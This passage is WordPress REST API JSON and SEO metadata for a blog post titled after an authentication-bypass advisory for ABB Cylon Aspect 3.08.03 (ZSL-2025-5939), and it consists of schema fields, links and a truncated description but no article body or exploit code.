redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-23T10:36:56+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5851\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5851","og_locale":"en_US","og_type":"article","og_title":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin - zero redgem","og_description":"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin Exploit ID ZSL-2025-5939 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=5851","og_site_name":"zero redgem","article_published_time":"2025-05-23T10:36:56+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5851#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5851"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin","datePublished":"2025-05-23T10:36:56+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5851"},"wordCount":1133,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","news","NONE","Security","tapic","Vulnerability","zeroscience"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5851#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5851","url":"https:\/\/zero.redgem.net\/?p=5851","name":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-23T10:36:56+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5851#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5851"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5851#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5851","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5851"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5851\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5851"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}